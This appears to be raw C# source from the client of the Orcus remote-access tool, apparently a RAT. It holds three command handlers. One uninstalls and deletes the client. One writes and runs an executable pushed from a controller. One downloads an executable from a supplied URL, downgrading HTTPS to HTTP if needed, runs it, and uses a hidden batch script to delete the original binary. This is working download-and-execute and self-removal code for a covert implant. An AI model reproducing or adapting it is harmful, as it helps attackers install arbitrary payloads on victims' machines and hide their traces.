public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemovePrivateFiles(); UninstallHelper.RemoveOtherStuff(); UninstallHelper.UninstallPlugins(); try { UninstallHelper.PrepareOrcusFileToRemove(); } catch (Exception ex) { feedbackFactory.Failed(ex + ": " + ex.Message); return; } var deleteScript = UninstallHelper.GetApplicationDeletingScript(); feedbackFactory.Succeeded(); Program.Unload(); Process.Start(deleteScript); Program.Exit(); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { var updateHash = commandParameter.Data.Take(32).ToArray(); var tempFile = FileExtensions.GetFreeTempFileName("exe"); byte[] fileHash; using (var fs = new FileStream(tempFile, FileMode.Create, FileAccess.ReadWrite, FileShare.None)) { fs.Write(commandParameter.Data, 32, commandParameter.Data.Length - 32); fs.Position = 0; using (var sha256 = new SHA256Managed()) fileHash = sha256.ComputeHash(fs); } if (!updateHash.SequenceEqual(fileHash)) { File.Delete(tempFile); feedbackFactory.Failed("The hash value of the file does not equal the transmitted hash value"); return; } UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemoveOtherStuff(); feedbackFactory.Succeeded(); Program.Unload(); try { var programPath = Consts.ApplicationPath; var scriptFile = FileExtensions.GetFreeTempFileName("bat"); File.SetAttributes(programPath, FileAttributes.Normal); var script = $"@ECHO OFF\r\nping 127.0.0.1 > nul\r\necho j | del \"{programPath}\"\r\necho j | del {programPath}"; File.WriteAllText(scriptFile, script); var p = new ProcessStartInfo(scriptFile) { WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(tempFile); Process.Start(p); } catch (Exception) { Application.Restart(); return; } Program.Exit(); }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var downloadFile = new FileInfo(FileExtensions.GetFreeTempFileName("exe")); var succeed = false; var downloadUri = new Uri(DownloadUrl); for (int i = 0; i < 10; i++) { try { using (var wc = new WebClient()) { wc.DownloadFile(new Uri(DownloadUrl), downloadFile.FullName); } } catch (Exception ex) { //After 5 failed tries, we convert the https uri to a http uri if (i == 4) { //Windows Xp doesnt support the new ssl encryptions, we have to try to download the file using http if (downloadUri.Scheme == "https") // && Environment.OSVersion.Version.Major < 6 { downloadUri = new UriBuilder(downloadUri) { Scheme = Uri.UriSchemeHttp, Port = -1 // default port for scheme }.Uri; } } if (i == 9) { feedbackFactory.ErrorMessage(ex.Message); } continue; } Thread.Sleep(100); //wait for the file to close if (!string.IsNullOrEmpty(Hash)) { try { byte[] computedHash; using (var stream = File.OpenRead(downloadFile.FullName)) using (var sha = new SHA256Managed()) computedHash = sha.ComputeHash(stream); if (!computedHash.SequenceEqual(StringExtensions.HexToBytes(Hash))) { downloadFile.Delete(); feedbackFactory.ErrorMessage("The hash value doesn't equal the transmitted hash value"); continue; } } catch (Exception) { continue; } } succeed = true; break; } if (!succeed) { feedbackFactory.Failed(); return; } UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemoveOtherStuff(); feedbackFactory.Succeeded(); Program.Unload(); try { var programPath = Consts.ApplicationPath; var scriptFile = FileExtensions.GetFreeTempFileName("bat"); File.SetAttributes(programPath, FileAttributes.Normal); var script = $"@ECHO OFF\r\nping 127.0.0.1 > nul\r\necho j | del \"{programPath}\"\r\necho j | del {programPath}"; File.WriteAllText(scriptFile, script); var p = new ProcessStartInfo(scriptFile) { WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(downloadFile.FullName, Arguments); Process.Start(p); } catch (Exception) { Application.Restart(); return; } Program.Exit(); }